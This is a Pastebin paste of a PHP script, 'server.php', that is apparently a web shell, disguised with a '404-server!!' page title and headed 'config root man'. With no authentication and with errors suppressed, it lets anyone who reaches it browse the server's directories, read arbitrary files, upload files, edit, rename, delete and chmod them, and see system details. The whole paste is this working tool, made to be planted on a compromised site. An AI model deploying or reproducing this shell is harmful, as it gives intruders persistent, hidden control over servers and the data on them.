Advertisement
Guest User

server.php

a guest
Dec 17th, 2017
178
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 9.56 KB | None | 0 0
  1. <?php
  2.  
  3. set_time_limit(0);
  4. error_reporting(0);
  5. if(get_magic_quotes_gpc()){
  6.     foreach($_POST as $key=>$value){
  7.         $_POST[$key] = stripslashes($value);
  8.     }
  9. }
  10. echo '<!DOCTYPE HTML>
  11. <HTML>
  12. <HEAD>
  13. <link href="" rel="stylesheet" type="text/css">
  14. <title>404-server!!</title>
  15. <style>
  16. body{
  17.    font-family: "Racing Sans One", cursive;
  18.    background-color: #e6e6e6;
  19.    text-shadow:0px 0px 1px #757575;
  20. }
  21. #content tr:hover{
  22.    background-color: #636263;
  23.    text-shadow:0px 0px 10px #fff;
  24. }
  25. #content .first{
  26.    background-color: silver;
  27. }
  28. #content .first:hover{
  29.    background-color: silver;
  30.    text-shadow:0px 0px 1px #757575;
  31. }
  32. table{
  33.    border: 1px #000000 dotted;
  34. }
  35. H1{
  36.    font-family: "Rye", cursive;
  37. }
  38. a{
  39.    color: #000;
  40.    text-decoration: none;
  41. }
  42. a:hover{
  43.    color: #fff;
  44.    text-shadow:0px 0px 10px #ffffff;
  45. }
  46. input,select,textarea{
  47.    border: 1px #000000 solid;
  48.    -moz-border-radius: 5px;
  49.    -webkit-border-radius:5px;
  50.    border-radius:5px;
  51. }
  52. </style>
  53. </HEAD>
  54. <BODY>
  55. <H1><center>config root man</center></H1>
  56. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  57. <tr><td>Current Path : ';
  58. if(isset($_GET['path'])){
  59.     $path = $_GET['path'];  
  60. }else{
  61.     $path = getcwd();
  62. }
  63. $path = str_replace('\\','/',$path);
  64. $paths = explode('/',$path);
  65.  
  66. foreach($paths as $id=>$pat){
  67.     if($pat == '' && $id == 0){
  68.         $a = true;
  69.         echo '<a href="?path=/">/</a>';
  70.         continue;
  71.     }
  72.     if($pat == '') continue;
  73.     echo '<a href="?path=';
  74.     for($i=0;$i<=$id;$i++){
  75.         echo "$paths[$i]";
  76.         if($i != $id) echo "/";
  77.     }
  78.     echo '">'.$pat.'</a>/';
  79. }
  80. echo '</td></tr><tr><td>';
  81. if(isset($_FILES['file'])){
  82.     if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  83.         echo '<font color="green">File Upload Done.</font><br />';
  84.     }else{
  85.         echo '<font color="red">File Upload Error.</font><br />';
  86.     }
  87. }
  88. echo '<b><br>'.php_uname().'<br></b>';
  89. echo '<form enctype="multipart/form-data" method="POST">
  90. Upload File : <input type="file" name="file" />
  91. <input type="submit" value="upload" />
  92. </form>
  93. </td></tr>';
  94. if(isset($_GET['filesrc'])){
  95.     echo "<tr><td>Current File : ";
  96.     echo $_GET['filesrc'];
  97.     echo '</tr></td></table><br />';
  98.     echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  99. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  100.     echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  101.     if($_POST['opt'] == 'chmod'){
  102.         if(isset($_POST['perm'])){
  103.             if(chmod($_POST['path'],$_POST['perm'])){
  104.                 echo '<font color="green">Change Permission Done.</font><br />';
  105.             }else{
  106.                 echo '<font color="red">Change Permission Error.</font><br />';
  107.             }
  108.         }
  109.         echo '<form method="POST">
  110.        Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  111.        <input type="hidden" name="path" value="'.$_POST['path'].'">
  112.        <input type="hidden" name="opt" value="chmod">
  113.        <input type="submit" value="Go" />
  114.        </form>';
  115.     }elseif($_POST['opt'] == 'rename'){
  116.         if(isset($_POST['newname'])){
  117.             if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  118.                 echo '<font color="green">Change Name Done.</font><br />';
  119.             }else{
  120.                 echo '<font color="red">Change Name Error.</font><br />';
  121.             }
  122.             $_POST['name'] = $_POST['newname'];
  123.         }
  124.         echo '<form method="POST">
  125.        New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  126.        <input type="hidden" name="path" value="'.$_POST['path'].'">
  127.        <input type="hidden" name="opt" value="rename">
  128.        <input type="submit" value="Go" />
  129.        </form>';
  130.     }elseif($_POST['opt'] == 'edit'){
  131.         if(isset($_POST['src'])){
  132.             $fp = fopen($_POST['path'],'w');
  133.             if(fwrite($fp,$_POST['src'])){
  134.                 echo '<font color="green">Edit File Done.</font><br />';
  135.             }else{
  136.                 echo '<font color="red">Edit File Error.</font><br />';
  137.             }
  138.             fclose($fp);
  139.         }
  140.         echo '<form method="POST">
  141.        <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  142.        <input type="hidden" name="path" value="'.$_POST['path'].'">
  143.        <input type="hidden" name="opt" value="edit">
  144.        <input type="submit" value="Go" />
  145.        </form>';
  146.     }
  147.     echo '</center>';
  148. }else{
  149.     echo '</table><br /><center>';
  150.     if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  151.         if($_POST['type'] == 'dir'){
  152.             if(rmdir($_POST['path'])){
  153.                 echo '<font color="green">Delete Dir Done.</font><br />';
  154.             }else{
  155.                 echo '<font color="red">Delete Dir Error.</font><br />';
  156.             }
  157.         }elseif($_POST['type'] == 'file'){
  158.             if(unlink($_POST['path'])){
  159.                 echo '<font color="green">Delete File Done.</font><br />';
  160.             }else{
  161.                 echo '<font color="red">Delete File Error.</font><br />';
  162.             }
  163.         }
  164.     }
  165.     echo '</center>';
  166.     $scandir = scandir($path);
  167.     echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  168.    <tr class="first">
  169.        <td><center>Name</center></td>
  170.        <td><center>Size</center></td>
  171.        <td><center>Permissions</center></td>
  172.        <td><center>Options</center></td>
  173.    </tr>';
  174.  
  175.     foreach($scandir as $dir){
  176.         if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  177.         echo "<tr>
  178.        <td><a href=\"?path=$path/$dir\">$dir</a></td>
  179.        <td><center>--</center></td>
  180.        <td><center>";
  181.         if(is_writable("$path/$dir")) echo '<font color="green">';
  182.         elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  183.         echo perms("$path/$dir");
  184.         if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  185.        
  186.         echo "</center></td>
  187.        <td><center><form method=\"POST\" action=\"?option&path=$path\">
  188.        <select name=\"opt\">
  189.         <option value=\"\"></option>
  190.        <option value=\"delete\">Delete</option>
  191.        <option value=\"chmod\">Chmod</option>
  192.        <option value=\"rename\">Rename</option>
  193.        </select>
  194.        <input type=\"hidden\" name=\"type\" value=\"dir\">
  195.        <input type=\"hidden\" name=\"name\" value=\"$dir\">
  196.        <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  197.        <input type=\"submit\" value=\">\" />
  198.        </form></center></td>
  199.        </tr>";
  200.     }
  201.     echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  202.     foreach($scandir as $file){
  203.         if(!is_file("$path/$file")) continue;
  204.         $size = filesize("$path/$file")/1024;
  205.         $size = round($size,3);
  206.         if($size >= 1024){
  207.             $size = round($size/1024,2).' MB';
  208.         }else{
  209.             $size = $size.' KB';
  210.         }
  211.  
  212.         echo "<tr>
  213.        <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  214.        <td><center>".$size."</center></td>
  215.        <td><center>";
  216.         if(is_writable("$path/$file")) echo '<font color="green">';
  217.         elseif(!is_readable("$path/$file")) echo '<font color="red">';
  218.         echo perms("$path/$file");
  219.         if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  220.         echo "</center></td>
  221.        <td><center><form method=\"POST\" action=\"?option&path=$path\">
  222.        <select name=\"opt\">
  223.         <option value=\"\"></option>
  224.        <option value=\"delete\">Delete</option>
  225.        <option value=\"chmod\">Chmod</option>
  226.        <option value=\"rename\">Rename</option>
  227.        <option value=\"edit\">Edit</option>
  228.        </select>
  229.        <input type=\"hidden\" name=\"type\" value=\"file\">
  230.        <input type=\"hidden\" name=\"name\" value=\"$file\">
  231.        <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  232.        <input type=\"submit\" value=\">\" />
  233.        </form></center></td>
  234.        </tr>";
  235.     }
  236.     echo '</table>
  237.    </div>';
  238. }
  239. echo '<br />Man Man <br />
  240. </BODY>
  241. </HTML>';
  242. function perms($file){
  243.     $perms = fileperms($file);
  244.  
  245. if (($perms & 0xC000) == 0xC000) {
  246.     // Socket
  247.     $info = 's';
  248. } elseif (($perms & 0xA000) == 0xA000) {
  249.     // Symbolic Link
  250.     $info = 'l';
  251. } elseif (($perms & 0x8000) == 0x8000) {
  252.     // Regular
  253.     $info = '-';
  254. } elseif (($perms & 0x6000) == 0x6000) {
  255.     // Block special
  256.     $info = 'b';
  257. } elseif (($perms & 0x4000) == 0x4000) {
  258.     // Directory
  259.     $info = 'd';
  260. } elseif (($perms & 0x2000) == 0x2000) {
  261.     // Character special
  262.     $info = 'c';
  263. } elseif (($perms & 0x1000) == 0x1000) {
  264.     // FIFO pipe
  265.     $info = 'p';
  266. } else {
  267.     // Unknown
  268.     $info = 'u';
  269. }
  270.  
  271. // Owner
  272. $info .= (($perms & 0x0100) ? 'r' : '-');
  273. $info .= (($perms & 0x0080) ? 'w' : '-');
  274. $info .= (($perms & 0x0040) ?
  275.             (($perms & 0x0800) ? 's' : 'x' ) :
  276.             (($perms & 0x0800) ? 'S' : '-'));
  277.  
  278. // Group
  279. $info .= (($perms & 0x0020) ? 'r' : '-');
  280. $info .= (($perms & 0x0010) ? 'w' : '-');
  281. $info .= (($perms & 0x0008) ?
  282.             (($perms & 0x0400) ? 's' : 'x' ) :
  283.             (($perms & 0x0400) ? 'S' : '-'));
  284.  
  285. // World
  286. $info .= (($perms & 0x0004) ? 'r' : '-');
  287. $info .= (($perms & 0x0002) ? 'w' : '-');
  288. $info .= (($perms & 0x0001) ?
  289.             (($perms & 0x0200) ? 't' : 'x' ) :
  290.             (($perms & 0x0200) ? 'T' : '-'));
  291.  
  292.     return $info;
  293. }
  294. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement